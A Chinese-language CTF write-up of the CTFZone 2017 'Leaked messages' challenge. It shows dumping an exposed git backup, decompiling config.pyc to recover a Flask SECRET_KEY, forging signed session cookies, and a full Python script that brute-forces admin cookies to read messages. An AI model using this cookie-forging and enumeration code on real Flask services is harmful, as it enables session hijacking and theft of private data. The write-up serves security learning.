Chybeta

CTFZone-2017-Leaked messages-writeup

CTFZone-2017-Leaked messages-writeup

1
2
3
4
One of our candidates used to send restricted data to colleagues via this service
because it's free and easy to use.
Try to get some secrets which can compromise them.
82.202.204.104


先注册一个账号,登陆

御剑扫出目录:http://82.202.204.104/backup/

看文件,猜测是git泄露。用lijiejie的Githack只能下载到文件,没办法git log,而rip-git.pl提示说[!] No more items to fetch. That's it!,所以最后使用的工具是GitTools,不过如果直接用的话,会提示说没有找到.git目录,可以先将gitdumper.sh中以下代码去掉:

1
2
3
4
if [[ ! "$BASEURL" =~ /.git/$ ]]; then
echo -e "\e[31m[-] /.git/ missing in url\e[0m";
exit 0;
fi

执行命令:

1
/gitdumper.sh http://82.202.204.104/backup/ dumper_LeakMessages

之后查看git log,如下命令,其中--no-paper禁用paper分页,发现有flag.txt:

1
git --no-pager log -p -1

得到如下结果:

1
2
3
>>> import base64
>>> base64.b32decode("MN2GM6TPNZSXW63IOR2HA4Z2F4XXS33VOR2WEZJOMNXW2L3XMF2GG2B7OY6UOMKJMJJHK2TLN4WUC7L5")
'ctfzone{{https://youtube.com/watch?v=G1IbRujko-A}}'

可惜,这是个假的flag。接下来利用extractor.sh 将历次commit的内容恢复出来。

1
../Extractor/extractor.sh dumper_LeakMessages/ extra_Leakmessages

目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
├── 0-bd55b19e5413ce609d3bc4429c3a6f272341988a
│   ├── commit-meta.txt
│   ├── config.pyc
│   ├── requirements.txt
│   └── templates
│   ├── index.html
│   ├── login.html
│   ├── messages.html
│   └── register.html
├── 1-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3
│   ├── commit-meta.txt
│   ├── requirements.txt
│   ├── static
│   │   ├── css
│   │   │   ├── bootstrap.min.css
│   │   │   ├── login.css
│   │   │   ├── main.css
│   │   │   └── material-input.css
│   │   ├── flag.txt
│   │   └── js
│   │   └── bootstrap.min.js
│   └── templates
│   ├── index.html
│   ├── login.html
│   ├── messages.html
│   └── register.html
└── 2-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4
├── commit-meta.txt
├── requirements.txt
├── static
│   ├── css
│   │   ├── bootstrap.min.css
│   │   ├── login.css
│   │   ├── main.css
│   │   └── material-input.css
│   └── js
│   └── bootstrap.min.js
└── templates
├── index.html
├── login.html
├── messages.html
└── register.html

先读取一下requirements.txt,知道是flask应用。

1
2
3
cat requirements.txt
flask
flask_recaptcha

其中的config.pyc是其配置文件。利用uncompyle6进行反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@chybeta:~/test# uncompyle6 config.pyc
# uncompyle6 version 2.11.2
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.13 (default, Jan 19 2017, 14:48:08)
# [GCC 6.3.0 20170118]
# Embedded file name: config.py
# Compiled at: 2017-07-15 01:28:42
# Size of source mod 2**32: 288 bytes
class BaseConfig(object):
DEBUG = False
SECRET_KEY = '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
DB_NAME = 'messages.db'
RECAPTCHA_ENABLED = True
RECAPTCHA_THEME = 'dark'
RECAPTCHA_TYPE = 'image'
RECAPTCHA_SIZE = 'normal'
RECAPTCHA_RTABINDEX = 10
# okay decompiling config.pyc

SECRET_KEY用于生成flask session。可以用Flask Session Cookie Decoder/Encoder进行解密。比如前面用burp抓包得到的session:

1
session=eyJudW1iZXIiOiIzMjY0MTAwMzE3MjYiLCJ1c2VybmFtZSI6ImNoeWJldGEifQ.DFBD8w.f5sHhO4vBngV-EtNRMOPw28PFkA

对其进行解密:

1
2
root@chybeta:~/flask-session-cookie-manager# python session_cookie_manager.py decode -c "eyJudW1iZXIiOiIzMjY0MTAwMzE3MjYiLCJ1c2VybmFtZSI6ImNoeWJldGEifQ.DFBD8w.f5sHhO4vBngV-EtNRMOPw28PFkA" -s ".{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d"
{u'username': u'chybeta', u'number': u'326410031726'}

现在我们就可以利用这个脚本来伪造cookie了,比如:

1
2
3
root@chybeta:~/flask-session-cookie-manager# python session_cookie_manager.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"username":"chybeta","number":"326410031725"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOekkxIn0sInVzZXJuYW1lIjp7IiBiIjoiWTJoNVltVjBZUT09In19.DEh3qQ.yq3ZCE5Mpoy74D9e3wkfbbenU1E

现在我们利用下面这个脚本,来获取admin的各条信息,number的上下限是通过测试出来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# standard imports
import sys
import zlib
import ast
import requests
from itsdangerous import base64_decode
from flask.sessions import SecureCookieSessionInterface
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
def session_cookie_encoder(secret_key, session_cookie_structure):
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error]{}".format(e)
if __name__ == "__main__":
number_min = 326410000000
number_max = 326410030240
for number in range(number_min,number_max):
file_message = open("message.txt",'w')
secret_key = ".{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d"
cookie_structure = "{'username':'admin','number':"+ str(number) + "}"
session = session_cookie_encoder(secret_key, cookie_structure)
cookie = {'session':session}
url = "http://82.202.204.104/messages"
content = requests.get(url,cookies=cookie)
start_index = content.text.find('<span class="message">')+len('<span class="message">')
end_index = content.text.find('</span>\n </div>\n </body>\n</html>')
if "You have no messages yet" not in content.text:
print number
file_message.writelines(str(number)+":"+str(content.text[start_index:end_index]))
else:
continue
file_message.close()

在message.txt中查找:

1
2
root@chybeta:~/flask-session-cookie-manager# cat message.txt | grep "http"
It&#39;s so cool! https://postimg.org/image/41t4h680r/


得到flag:

1
ctfzone{b1d4207ff1965105af775cfa71d8214d}

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:CTFZone-2017-Leaked messages-writeup

文章作者:chybeta

发布时间:2017年07月19日 - 16:07

最后更新:2017年07月28日 - 15:07

原始链接:http://chybeta.github.io/2017/07/19/CTFZone-2017-Leaked-messages-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。